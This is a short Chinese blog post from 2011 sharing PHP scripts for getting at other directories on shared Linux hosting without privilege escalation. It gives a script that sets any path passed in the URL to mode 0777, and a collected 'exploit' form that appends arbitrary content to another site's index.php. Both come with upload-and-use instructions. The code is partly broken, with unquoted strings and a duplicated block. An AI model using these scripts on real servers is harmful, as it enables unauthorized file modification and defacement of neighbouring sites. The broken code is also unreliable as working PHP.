LINUX不提权跨目录访问的代码

linux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的。在提不了权的情况下,试试如下代码吧。

运气好的话说不定就跨过去了。代码如下:

<?php
$path = stripslashes($_GET['path']);
$ok = chmod ($path , 0777);
if ($ok == true)
echo CHMOD OK , Permission editable file or directory. Permission to write;
?>
<?php
$path = stripslashes($_GET['path']);
$ok = chmod ($path , 0777);
if ($ok == true)
echo CHMOD OK , Permission editable file or directory. Permission to write;
?>
把上面代码保存为tmdsb.PHP

然后访问http://www.tmdsb.com/tmdsb.php?path=http://www.cnblogs.com/要跨的目录/index.php

这里的index.PHP是要修改权限的文件

收集的另一个exp:

把下面的代码保存为exp.PHP

<?php
@$filename = stripslashes($_POST['filename']);
@$mess = stripslashes($_POST['mess']);
$fp = @fopen({$_POST['filename']}, 'a');
@fputs($fp,$mess <hr size=1 color=black>);
@fclose($fp);
?>
<form name=form1 action=exploit.php method=post>
<p align=center><b>
<br>
CODE :<br>
<textarea name=mess rows=3></textarea></font></b></textarea>
</font></b> <p><input type=hidden name=filename value=http://www.cnblogs.com/AUTRE WEBSITE SUR LE MULTIHOSTING/index.php></p>
<center>
<input type=reset name=Submit value=Delete>
<input name=go type=submit value=Send onClick=javascript:this.style.visibility ='hidden';>
<center>
</form>
<meta http-equiv=Content-Type content=text/html; charset=iso-8859-1>
<title>Changing CHMOD Permissions Exploit – Contact : the_gl4di4t0r[AT]hotmail[DOT]com</title>
</head>
<body>
</center>
</body>

注意上面代码里面的路径。用的时候要改成你要访问的目录和文件。

posted @ 2011-10-02 04:28  WHaa_(T_T)  阅读(263)  评论(0编辑  收藏  举报